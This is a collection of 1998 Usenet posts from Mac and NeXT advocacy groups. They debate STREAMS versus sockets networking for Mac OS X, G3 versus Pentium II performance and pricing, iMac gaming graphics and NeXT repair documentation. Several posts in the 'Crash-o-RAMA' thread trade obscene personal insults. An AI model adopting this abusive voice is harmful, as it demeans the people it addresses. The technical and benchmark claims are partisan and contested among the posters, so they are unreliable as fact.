OK - so you don't doubt it, but they seem to have no doubt that sockets are
technically superior. I guess it depends on what you want from your system
- best performance, or ease of use for developers of network protocol stacks.
Now, if I were Apple, I'd be more worried about customers perception of network
performance than keeping the vendors of the more obscure network
hardware/software happy.
>and by no means is it being adbandoned.
I have no personal knowledge of this, but someone said that Sun (and others)
were dropping streams from the kernel.
I guess they would keep some form of user-level implementation around though.
Date: Thu, 06 Aug 1998 07:31:07 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel,comp.os.ms-windows.advocacy
Distribution: world
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Message-ID: <joe.ragosta-0608980731080001@0.0.0.0>
References: <macghod-3107981419590001@1cust64.tnt1.santa-barbara.ca.da.uu.net> <6q7c32$9ut$1@hecate.umd.edu> <35C72D4A.22D9ECCE@milestonerdl.com> <6qaldm$oo5$1@pale-rider.INS.CWRU.Edu> <macghod-0508981547060001@sdn-ar-001casbarp117.dialsprint.net>
In article <macghod-0508981547060001@sdn-ar-001casbarp117.dialsprint.net>,
macghod@concentric.net (Steve Sullivan) wrote:
> FUnny how my "fact free opinion" is usually backed with url's. This is a
> second post of your and still it contains no facts... Post some of these
> "factually inaccurate" posts by me? I am not a genius, but at least I am
> interested in facts and back up with what I say.
>
> This article I originally quote claimed a imac would be TWICE as fast as a
> p2 300. My posts in the g3 versus p2 speed debate has used as evidence
UP TO twice as fast.
UP TO
UP TO
UP TO
Get it yet?
> 1) photoshop tests from apple's own engineers, using 15 photoshop filters,
> and given in which official apple document its in.
Which you've never provided a URL for.
> 2) a link on Mac advocacy Joe's web page where a p2 300 is compared to a
> g3 266 in photoshop.
Sure. Like the one where PC Magazine found that a G3/300 was 46% faster
than a PII/400?
> 3) bytemark tests done by Eric Bennet.
>
> Now, lets see you produce 5 posts from dejanews of my "patented fact-free
> opinion", less we assume you are a big fat liar.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Thu, 06 Aug 1998 07:41:54 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: Crash-o-RAMA (was: Re: '97 Mac entrant)
Message-ID: <joe.ragosta-0608980741550001@0.0.0.0>
References: <35C71113.5BEC@bellatlantic.net> <6q7jkq$g7n$1@plo.sierra.com> <6q85rv$jfs$1@morgoth.sfu.ca> <6q8a9c$t4$1@lwnws01.ne.highway1.com> <6q8tr6$nlg$1@nnrp1.dejanews.com> <joe.ragosta-0508980820070001@wil62.dol.net> <6q9l4j$773$1@lwnws01.ne.highway1.com> <joe.ragosta-0508980949010001@wil46.dol.net> <6q9qt9$cvg$1@lwnws01.ne.highway1.com> <NOamradioSPAM-0608980031190001@207-172-129-235.s235.tnt2.col.erols.com> <6qberc$3lm$1@lwnws01.ne.highway1.com> <macghod-0508982344010001@sdn-ar-001casbarp214.dialsprint.net>
In article <macghod-0508982344010001@sdn-ar-001casbarp214.dialsprint.net>,
macghod@concentric.net (Steve Sullivan) wrote:
> In article <6qberc$3lm$1@lwnws01.ne.highway1.com>, jkheit@mediaone.net wrote:
>
> > If I'm being slow, it's only so a moronic dip shit, piece of crap, monkey
> > turd like yourself would stand a chance of comprehending. Clearly I've
> > failed at being slow enough. Let's try it again before they load you
on the
> > special bus again. On second thought I wouldn't want to take away
from your
> > enjoyment of playing in your diapers. Diapers, you know, the thing that
> > collects what you use for a brain skippy.
> >
> >
> > > Strawman. No one is arguing about the edible qualities of rhino
> > > dung or a great manhatten cheese cake.
> >
> > Strawman? Hmm, yes, I think that is an good name for you. Now if you only
> > had a brain. You bumblefuck turd.
>
> I sure am glad I havent offended Mr Kheit yet. I am sure after such a
> flamage by him I would be in my bed crying into my pillow all night long
> ;-)
You just consider the source.
Since his grasp of the English language apparently hasn't gone past the
third grade level, he can't get his point across without obscene, juvenile
school yard name calling. It's really rather sad.
Of course, this is just my opinion. Please do not take it as a statement
of fact because then he'd start his threats about suing me again.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Thu, 06 Aug 1998 07:38:00 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: Crash-o-RAMA (was: Re: '97 Mac entrant)
Message-ID: <joe.ragosta-0608980738010001@0.0.0.0>
References: <35C71113.5BEC@bellatlantic.net> <6q7jkq$g7n$1@plo.sierra.com> <6q85rv$jfs$1@morgoth.sfu.ca> <6q8a9c$t4$1@lwnws01.ne.highway1.com> <6q8tr6$nlg$1@nnrp1.dejanews.com> <don.brown-0508980905210001@dsm-ia1-05.ix.netcom.com> <6qa8a7$lvs$1@nnrp1.dejanews.com>
In article <6qa8a7$lvs$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
> In article <don.brown-0508980905210001@dsm-ia1-05.ix.netcom.com>,
> don.brown@cesoft.com (Donald Brown) wrote:
>
> > Win95 - B+
> > MacOS 6.x and earlier - C-
> > MacOS 7.x - C to C+
> > MacOS 8 - B
>
> You are a very generous grader. I would have given Windows 95 a C and the
> others a lesser grade. BTW, what changes between the different Mac OS versions
> justifies the large range of grades.
>
As I thought. All of your Mac bashing is based on lack of information.
Mac OS 8 is light years ahead of Mac OS 7.x or 6.x.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Thu, 06 Aug 1998 08:01:28 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <joe.ragosta-0608980801280001@0.0.0.0>
References: <joe.ragosta-0508980827520001@wil62.dol.net> <B1EE0DFF-10611@206.165.43.42>
In article <B1EE0DFF-10611@206.165.43.42>, "Lawson English"
<english@primenet.com> wrote:
> Joe Ragosta <joe.ragosta@dol.net> said:
>
> >
> >I think your timeline is too late. The rumors I've seen say that G4 chips
> >will be shipping in quantity in the first quarter of 1999. Samples are
> >certainly expected before the end of 1998.
>
>
>
> That was before the SOI announcement. Even if G4 ships, will the speed
> differential be enough to justify the extra cost of Apple using it?
Extra cost? The G3/366 is $595 in quantities of 1000. How much is the 450
MHz PII (which probably isn't as fast).
Let's call the performance a wash. Let's even say that the PII is as low
as $595 (which is doubtful).
Where does this extra cost that you're referring to come in?
>
> Remember that the only rumored G4 version is 64-bit, which won't be
> useable, out-of-the-box, with any existing Mac.
Why not? You can run a 32 bit OS on Alpha 64 bit processors. And, it's
well known that 16 bit OSs run on 32 bit processors like x86 (where x >
2). Why not on PPC?
Granted, the first version of Mac OS running on G4 probably won't take
full advantage of the chip, but it's still going to be extremely fast.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: "Christopher Smith" <drsmithy@usa.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: Crash-o-RAMA (was: Re: '97 Mac entrant)
Date: Thu, 6 Aug 1998 22:32:18 +1000
Organization: University of Queensland
Message-ID: <6qc7oi$c0v$1@bunyip.cc.uq.edu.au>
References: <35C71113.5BEC@bellatlantic.net> <6q7jkq$g7n$1@plo.sierra.com> <6q85rv$jfs$1@morgoth.sfu.ca> <6q8a9c$t4$1@lwnws01.ne.highway1.com> <6q8tr6$nlg$1@nnrp1.dejanews.com> <don.brown-0508980905210001@dsm-ia1-05.ix.netcom.com> <6qa8a7$lvs$1@nnrp1.dejanews.com> <joe.ragosta-0608980738010001@0.0.0.0>
Joe Ragosta <joe.ragosta@dol.net> wrote in message
joe.ragosta-0608980738010001@0.0.0.0...
>In article <6qa8a7$lvs$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca
wrote:
>
>> In article <don.brown-0508980905210001@dsm-ia1-05.ix.netcom.com>,
>> don.brown@cesoft.com (Donald Brown) wrote:
>>
>> > Win95 - B+
>> > MacOS 6.x and earlier - C-
>> > MacOS 7.x - C to C+
>> > MacOS 8 - B
>>
>> You are a very generous grader. I would have given Windows 95 a C and the
>> others a lesser grade. BTW, what changes between the different Mac OS
versions
>> justifies the large range of grades.
>>
>
>As I thought. All of your Mac bashing is based on lack of information.
>
>Mac OS 8 is light years ahead of Mac OS 7.x or 6.x.
If you think that, Joe, then MacOS X is going to launch you into a whole new
universe . . . . .
>
>--
>Regards,
>Joe Ragosta
>http://www.dol.net/~Ragosta/complmac.htm
From: Chad <lakari@earthlink.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: Solution to Imac SUCKS for games
Date: Thu, 06 Aug 1998 08:49:49 +0000
Organization: EarthLink Network, Inc.
Message-ID: <35C96E2A.3A8AF932@earthlink.net>
References: <macghod-0508982340280001@sdn-ar-001casbarp214.dialsprint.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; x-mac-type="54455854"; x-mac-creator="4D4F5353"
Content-Transfer-Encoding: 7bit
To: Steve Sullivan <macghod@concentric.net>
The reason the voodoo is so cheap is that it's not a complete video
controller. It only enhances 3d games that are written specifically to take
advantage of it. All other video functions are passed through the card from
the normal video controller and to the screen. I've got a 233 G3 minitower
with the Rage II chip in it...I'm not a hard core gamer, but I do enjoy
playing Quake and the like now and then. It still kicks ass, even without
3Dfx acceleration...very high frame rates at high resolution and detail. I
think the iMac will be more than adequate for most home users.
Steve Sullivan wrote:
> Yes, we all know Jobs made a slight boo boo. Commenting how games would
> be included with the imac, insuiating that the imac would be good for
> games, when it comes with a lousy rage II card.
>
> Well, I think the solution is easy: Apple should start working on getting
> video options for the bto system. Say at first, maybe just a vodoo card
> instead of the rage II for a extra $50. I do not know exactly how its
> implemented, but I take it it would take a while to get this right since
> the rage 2 is part of the motherboard, thus it would take a while to
> somehow get a vodoo working? Actually, come to think of it since its
> part of the logic board it wouldnt really work well as a BTO option. They
> should just replace the rage II with a vodoo 1.
>
> I dont know how much a rage II card costs, but in the la times I have seen
> vodoo 1 card in the fifty dollar range. Thus it would be much less for
> apple to buy in bulk. So have a rev 2 of the imac, to be put out when the
> price is reduced 4 or 5 months after it is released.
>
> And in the future, apple should get a clue. Cards for the pc that kick
> vodoo 2's butts are about to come out, and neither them nor even the vodoo
> 2 are available for the mac. Jobs needs to take his RDF gun with him and
> visit some of the card makers, maybe have a agp slot on all new desktop
> (as in non portable) macs, and get a some of these companies like the one
> that makes the riva to make drivers available for the mac, and bundle them
> with macs.
>
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: Crash-o-RAMA (was: Re: '97 Mac entrant)
Date: 6 Aug 1998 13:25:26 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6qcas6$b1e$1@lwnws01.ne.highway1.com>
References: <35C71113.5BEC@bellatlantic.net> <6q7jkq$g7n$1@plo.sierra.com> <6q85rv$jfs$1@morgoth.sfu.ca> <6q8a9c$t4$1@lwnws01.ne.highway1.com> <6q8tr6$nlg$1@nnrp1.dejanews.com> <joe.ragosta-0508980820070001@wil62.dol.net> <6q9l4j$773$1@lwnws01.ne.highway1.com> <joe.ragosta-0508980949010001@wil46.dol.net> <6q9qt9$cvg$1@lwnws01.ne.highway1.com> <NOamradioSPAM-0608980031190001@207-172-129-235.s235.tnt2.col.erols.com> <6qberc$3lm$1@lwnws01.ne.highway1.com> <macghod-0508982344010001@sdn-ar-001casbarp214.dialsprint.net> <joe.ragosta-0608980741550001@0.0.0.0>
joe.ragosta@dol.net (Joe Ragosta) wrote:
> >
> > I sure am glad I havent offended Mr Kheit yet. I am sure after
> > such a flamage by him I would be in my bed crying into my pillow
> > all night long ;-)
>
> You just consider the source.
>
> Since his grasp of the English language apparently hasn't gone
> past the third grade level, he can't get his point across without
> obscene, juvenile school yard name calling. It's really rather
> sad.
>
> Of course, this is just my opinion. Please do not take it as a
> statement of fact because then he'd start his threats about suing
> me again.
Why you boys have it all wrong. And to think you don't appreciate my
consideration. I just tailor what I write to my audience and write in a
style that they can understand. The 3rd grade level seems to be a cap for
you.
--
-- Thanks, be well, take care, later, John Kheit; self expressed --
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: Crash-o-RAMA (was: Re: '97 Mac entrant)
Date: 6 Aug 1998 13:32:09 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6qcb8p$b1e$2@lwnws01.ne.highway1.com>
References: <35C71113.5BEC@bellatlantic.net> <6q7jkq$g7n$1@plo.sierra.com> <6q85rv$jfs$1@morgoth.sfu.ca> <6q8a9c$t4$1@lwnws01.ne.highway1.com> <6q8tr6$nlg$1@nnrp1.dejanews.com> <joe.ragosta-0508980820070001@wil62.dol.net> <6q9l4j$773$1@lwnws01.ne.highway1.com> <joe.ragosta-0508980949010001@wil46.dol.net> <6q9qt9$cvg$1@lwnws01.ne.highway1.com> <NOamradioSPAM-0608980031190001@207-172-129-235.s235.tnt2.col.erols.com> <6qberc$3lm$1@lwnws01.ne.highway1.com> <macghod-0508982344010001@sdn-ar-001casbarp214.dialsprint.net>
macghod@concentric.net (Steve Sullivan) wrote:
> > Strawman? Hmm, yes, I think that is an good name for you.
> > Now if you only had a brain. You bumblefuck turd.
>
> I sure am glad I havent offended Mr Kheit yet. I am sure after
> such a flamage by him I would be in my bed crying into my pillow
> all night long ;-)
Your stupidity is offensive in and of itself. Stereotypically you responded
like a smug self righteous usenet poster rather than trying to find the
cause. Are you getting the point sparky? (That's rhetorical).
--
-- Thanks, be well, take care, later, John Kheit; self expressed --
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Junking STREAMS?
Date: 6 Aug 1998 13:41:18 GMT
Organization: Primenet (602)416-7000
Message-ID: <6qcbpu$r12$1@nnrp02.primenet.com>
References: <35C87CFA.CEAE0167@milestonerdl.com> <6qa0e6$hns$1@lwnws01.ne.highway1.com> <35c8b189.0@nnrp1.news.uk.psi.net> <6qah44$g4n$1@server.signat.org>
Maury Markowitz <maury@remove_this.istar.ca> wrote:
: Basically STREAMS is just as much a standard as Sockets is - period. In
: fact up until the net based distributions of the free BSD's started, it was
: also far more popular. Currently every major commecial Unix uses them,
: including Mk7.3.
How do you suppose it breaks down in terms of traffic? I thought most of
the Internet applications were written to the Sockets API. In the
client/server work I've done it has all been socket code. That would lead
me to believe, that while many people like STREAMS, at least 90% of the
traffic is flying from Socket to Socket. Perhaps there is some common
STREAMS app I've missed?
John
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
References: <joe.ragosta-0508980827520001@wil62.dol.net> <B1EE0DFF-10611@206.165.43.42> <joe.ragosta-0608980801280001@0.0.0.0>
Message-ID: <35c9bbb1.0@news.depaul.edu>
Date: 6 Aug 98 14:20:33 GMT
In comp.sys.next.advocacy Joe Ragosta <joe.ragosta@dol.net> wrote:
> In article <B1EE0DFF-10611@206.165.43.42>, "Lawson English"
> <english@primenet.com> wrote:
> > Joe Ragosta <joe.ragosta@dol.net> said:
> >
> > >
> > >I think your timeline is too late. The rumors I've seen say that G4 chips
> > >will be shipping in quantity in the first quarter of 1999. Samples are
> > >certainly expected before the end of 1998.
> >
> >
> >
> > That was before the SOI announcement. Even if G4 ships, will the speed
> > differential be enough to justify the extra cost of Apple using it?
> Extra cost? The G3/366 is $595 in quantities of 1000. How much is the 450
> MHz PII (which probably isn't as fast).
> Let's call the performance a wash. Let's even say that the PII is as low
> as $595 (which is doubtful).
I actually think the PII is less expensive, or at a similar price. Intel
is under serious price pressure right now thanks to AMD, Cyrix, and
IDT.
I recently checked this out and was surprised that the PPC was so
expensive.
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: What is MacOS-X Really ?
Newsgroups: comp.sys.next.advocacy
References: <6qa5sl$4pm1@onews.collins.rockwell.com> <6qao8l$hd3$1@nnrp02.primenet.com>
Message-ID: <35c9bc37.0@news.depaul.edu>
Date: 6 Aug 98 14:22:47 GMT
John Jensen <jjens@primenet.com> wrote:
> Erik Buck writes:
> > [...]
> >I want to cut through the marketing and get some real definition of this
> >thing Apple is building.
> > [...]
> It seems NEXTSTEP slowly shrinks while Linux slowly grows.
Linux slowly grows, but the applications and UI grow glacially
slow.
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Junking STREAMS?
Content-Type: text/plain; charset=us-ascii
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Sender: news@T-FCN.Net
Content-Transfer-Encoding: 7bit
Cc: scott@nospam.doubleu.com
Organization: none
References: <35C87CFA.CEAE0167@milestonerdl.com> <6qa0e6$hns$1@lwnws01.ne.highway1.com>
<35c8b189.0@nnrp1.news.uk.psi.net> <6qah44$g4n$1@server.signat.org>
<SCOTT.98Aug5221339@slave.doubleu.com>
Mime-Version: 1.0
Date: Thu, 6 Aug 1998 14:25:54 GMT
In <SCOTT.98Aug5221339@slave.doubleu.com> Scott Hess wrote:
> Except insofar as any bugs the implementation might have the first
> three releases :-).
Yet this is far more likely to effect current Mac uses in terms of broken
apps than it is to effect OpenStep users. All OS app have to be converted to
Rhapsody, if they convert to the new networking classes in that process the
API under it simply vanishes. On the other hand the reverse compatibility is
likely to be rather buggy, if the older OT release schedule is any guide.
The long and short of it is that MOST Unix code uses the Sockets API, and
talks to a STREAMS driver stack. This is true for Sun, Digital, SGI, HP, IBM
and almost anyone else you can name. I feel very confident of the quality of
Sockets-over-STREAMS, and have no faith whatsoever in XTI-over-Sockets.
> Very solid _today_, versus very solid but technically superior a year
> or more from now. What was the brainless part, again?
Sockets is in no way superior to STREAMS. Period.
An XTI emulation on top of Sockets is unlikely to ever work well.
A Sockets emulation on top of STREAMS is used worldwide today.
That's the brainless part.
> BTW, I fully agree that if STREAMS versus sockets were a completely
> costless decision, then chosing sockets might be construed as
> brainless.
Indeed, which is why spending more developer effort adds to my confusion.
Maury
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Junking STREAMS?
Content-Type: text/plain; charset=us-ascii
Message-ID: <Ex9uJH.ry@T-FCN.Net>
Sender: news@T-FCN.Net
Content-Transfer-Encoding: 7bit
Cc: scott@nospam.doubleu.com
Organization: none
References: <35C87CFA.CEAE0167@milestonerdl.com> <SCOTT.98Aug5132919@slave.doubleu.com>
Mime-Version: 1.0
Date: Thu, 6 Aug 1998 14:21:16 GMT
In <SCOTT.98Aug5132919@slave.doubleu.com> Scott Hess wrote:
> Quite simply, they're going with the _easy_ solution right now, which
> is to use the existing sockets networking in BSD. STREAMS may have
> great technical arguments, but I think right now they're looking at
> what's easiest to get working in the minimum amount of time on what
> they have - and the Rhapsody kernel people have significantly more
> time under their hats with sockets than with STREAMS.
That's not entirely true. For one thing the Mk7.3 kernel, which is what
the MacOS-X kernel will be "derived" from, uses STREAMS. I'd say there's
more experience about in modern Mach and STREAMS than modern Mach and
Sockets.
For another thing is that MacOS-X has to provide general functionality for
the BB/Carbon side of things as well, and in keeping with generalities, this
means that they'll have to emulate the 90% or so most common calls from the
XTI/OT API's. This is likely not easy or even possible if the underlying
driver/stack code is Net/3.
Basically it's going to be just as much work (perhaps more) to get Carbon
networking working well as it is to simply put STREAMS into the kernel -
which OSF already does anyway.
> Keep in mind that the availability of STREAMS on MacOS <X doesn't mean
> much, because they'd have to port it over to a Rhapsody kernel.
The Rhapsody kernel and the MacOS-X kernel are fairly radically different,
this statement is not really the case at all.
> It's not so much rejection as expediency. As people have said about
> the GUI, spending too many resources on STREAMS at this late date
> would be like polishing the brass on a sinking ship.
Simply untrue, they're going to have to expend work to REMOVE it from Mk.
> b) They aren't _dropping_ STREAMS and replacing it with something new
Indeed, that's exactly what's happening.
> that they pulled out of their arse. This isn't a NIH problem.
Isn't it?
Maury
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Junking STREAMS?
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Cc: datamagik@usa.net
Organization: none
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<datamagik-0508982302060001@eccr225mac192.colorado.edu>
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Date: Thu, 6 Aug 1998 14:38:19 GMT
In <datamagik-0508982302060001@eccr225mac192.colorado.edu> Jay Riley wrote:
> Okay Maury I've just glanced at the OT APIs before, but they seemed to
> just be a device independent way of handling io.
That's the XTI/OT interface. STREAMS also provides "internal" access to
the hardware side (DPLI) and inter-module messaging (LPI). It also provides
more calls than Sockets, a number of which simply don't have any parallel
under Sockets.
Maury
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Junking STREAMS?
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Cc: jjens@primenet.com
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Date: Thu, 6 Aug 1998 14:47:32 GMT
In <6qcbpu$r12$1@nnrp02.primenet.com> John Jensen wrote:
> How do you suppose it breaks down in terms of traffic? I thought most of
> the Internet applications were written to the Sockets API.
Likely true by a very large amount - most of the direct-to-XTI use under
Unix is via support services like Samba and such. Indeed, the OT versions are
likely the biggest example.
Buuuuuut, what you're comparing above is the API's, not the code. That's
the issue here. STREAMS can support a Sockets API - using your own measure
above, this is likely how the majority of server packets on the net are
generated. I am now so convinced the opposite is possible.
> client/server work I've done it has all been socket code. That would lead
> me to believe, that while many people like STREAMS, at least 90% of the
> traffic is flying from Socket to Socket.
Socket _API_ to _API_ yes, but just as likely the code generating the
packets is STREAMS. It would be pretty much 100% so if not for the recent
introduction of the free Unixen.
Maury
From: no@spam.net (old one)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXTStation circuit diagrams?
Date: Thu, 06 Aug 1998 11:09:16 -0400
Organization: hardly any
Message-ID: <no-0608981109170001@frazer.com>
References: <6qbk6v$4tm@lutra.sztaki.hu>
In article <6qbk6v$4tm@lutra.sztaki.hu>, balazs.pataki@sztaki.hu (Balazs
Pataki) wrote:
> does anyone know if it is possible to get the technical documentation,
> circuit diagrams, repair instructions, etc. of the good old
> NeXT[Station|Cube]?
I don't believe even authorized repairmen had these (remove and replace has
been the rule for a long time). In any case, NeXT transferred repair
responsibilities to another firm when they discontinued making the hardware
and I expect that transfer included proprietary rights to repair info.
If you want to email me, try jbf at frazer dot com.
From: holger@object-factory.REMOVETHIS.com (Holger Hoffstaette)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Junking STREAMS?
Date: 6 Aug 1998 14:12:48 GMT
Organization: the secret circle of the NSRC
Message-ID: <6qcdl0$avs$1@leonie.object-factory.com>
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John Jensen wrote:
> Maury Markowitz <maury@remove_this.istar.ca> wrote:
> : Basically STREAMS is just as much a standard as Sockets is - period.
In
> : fact up until the net based distributions of the free BSD's started, it
was
> : also far more popular. Currently every major commecial Unix uses them,
> : including Mk7.3.
>
> How do you suppose it breaks down in terms of traffic? I thought most of
> the Internet applications were written to the Sockets API. In the
> client/server work I've done it has all been socket code. That would lead
> me to believe, that while many people like STREAMS, at least 90% of the
> traffic is flying from Socket to Socket. Perhaps there is some common
> STREAMS app I've missed?
Actually all you've missed is the whole point of the discussion, which
revolves *not* around the fucking stupid sockets API on top, but rather
the architecture underneath. The fact that sockets can be put on top
of STREAMS is probably the most uninteresting thing about it.
Holger
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: What is MacOS-X Really ?
Date: 6 Aug 1998 15:57:00 GMT
Organization: Primenet (602)416-7000
Message-ID: <6qcjoc$kf4$1@nnrp03.primenet.com>
References: <6qa5sl$4pm1@onews.collins.rockwell.com> <6qao8l$hd3$1@nnrp02.primenet.com> <35c9bc37.0@news.depaul.edu>
Jonathan W Hendry <jhendry@shrike.depaul.edu> wrote:
: John Jensen <jjens@primenet.com> wrote:
: > Erik Buck writes:
: > > [...]
: > >I want to cut through the marketing and get some real definition of this
: > >thing Apple is building.
: > > [...]
: > It seems NEXTSTEP slowly shrinks while Linux slowly grows.
: Linux slowly grows, but the applications and UI grow glacially
: slow.
Linux is overpopulated in some apps and sparse in others. There are
certainly more IRC clients that one could ever want, but perhaps to few
spreadsheets. If you are chronically impatient, like me, even Linux will
seem slow at times. But didn't all the Gnome apps appear within the last
year?
In terms of larger apps, did you know that Informix and Oracle have
commited to Linux ports?
John
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Junking STREAMS?
Date: 6 Aug 1998 16:05:06 GMT
Organization: Primenet (602)416-7000
Message-ID: <6qck7i$kf4$2@nnrp03.primenet.com>
References: <35C87CFA.CEAE0167@milestonerdl.com> <6qa0e6$hns$1@lwnws01.ne.highway1.com> <35c8b189.0@nnrp1.news.uk.psi.net> <6qah44$g4n$1@server.signat.org> <6qcbpu$r12$1@nnrp02.primenet.com> <6qcdl0$avs$1@leonie.object-factory.com>
Holger Hoffstaette <holger@object-factory.REMOVETHIS.com> wrote:
: > How do you suppose it breaks down in terms of traffic? I thought most of
: > the Internet applications were written to the Sockets API.
: Actually all you've missed is the whole point of the discussion, which
: revolves *not* around the fucking stupid sockets API on top, but rather
: the architecture underneath. The fact that sockets can be put on top
: of STREAMS is probably the most uninteresting thing about it.
I would think the point was getting people on-line. If the apps use
sockets, then I would think you would get people on-line quickest by a
simple, reliable, sockets implementation.
I don't have a problem with _any_ other technologies being expolred, once
you have everybody on-line with a reliable connection.
John
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Junking STREAMS?
Date: 6 Aug 1998 16:19:40 GMT
Organization: Primenet (602)416-7000
Message-ID: <6qcl2s$kf4$3@nnrp03.primenet.com>
References: <35C87CFA.CEAE0167@milestonerdl.com> <6qa0e6$hns$1@lwnws01.ne.highway1.com> <35c8b189.0@nnrp1.news.uk.psi.net> <6qah44$g4n$1@server.signat.org> <6qcbpu$r12$1@nnrp02.primenet.com> <Ex9vr8.1A8@T-FCN.Net>
Maury Markowitz <maury@remove_this.istar.ca> wrote:
: > client/server work I've done it has all been socket code. That would lead
: > me to believe, that while many people like STREAMS, at least 90% of the
: > traffic is flying from Socket to Socket.
: Socket _API_ to _API_ yes, but just as likely the code generating the
: packets is STREAMS. It would be pretty much 100% so if not for the recent
: introduction of the free Unixen.
From my point of view, a good implementation of the Socket API is what
anyone needs as a base for their product. If STREAMS are the fastest way
to get there, then I'll back STREAMS. As I mention in another post, once
you've got the Socket API covered, explore anything you'd like in future
releases.
In terms of percentages, most networked computers run Windows. I, perhaps
incorrectly, thought Windows had no STREAMS.
John
From: Fam.Traeger@t-online.de (=?ISO-8859-1?Q?Lars_Tr=E4ger?=)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: 6 Aug 1998 16:26:48 GMT
Organization: That hasn't stoped us from shipping Win'95
Message-ID: <6qclg8$eth$1@news02.btx.dtag.de>
References: <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <pxpst2-2007981409410001@pelli.pathology.pitt.edu> <joe.ragosta-2007982108170001@elk57.dol.net> <35BF1822.3E94CE81@earthlink.net> <joe.ragosta-2907982111520001@elk76.dol.net> <35C14DC2.74ADCDA0@earthlink.net> <6psofk$eb6$1@news.spacelab.net> <35C1F3A8.2B36FFA2@exu.ericsson.se> <geh-3107981123110001@odo.safe.internal> <macghod-3107981422050001@1cust64.tnt1.santa-barbara.ca.da.uu.net> <35C23CFF.74C99D5B@exu.ericsson.se>
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Michael Peck <eusmpec@exu.ericsson.se> wrote:
> Steve Sullivan wrote:
>
> > Thats whats so great about pc's, Go to Frys and pick up a motherboard with
> > a p2 300 for what, $300, and for $300 you have just upgraded your 386 to a
> > p2 300. Now take a mac 2 si. For $300 can you upgrade it to a g3 233?
> > HAHAHAHAHAHAHAHAHAHHAHAHAH
> > HASHAHAHAHAHAHAHAHAHAHHA
> > HAHAHHAHAHHAHAHHAHAHHAHHA
>
> You can't do this, in all fairness. A Pentium-II motherboard requires an
> ATX-style case and power-supply and will probably take DIMMs rather than
> 30-pin SIMMs.
And you'll have a graphics card at least 4 years old, if it was cutting
edge it'll be local bus and you couldn't use it even if you found
drivers. Plus a HD slightly bigger and faster than a ZIP-drive.
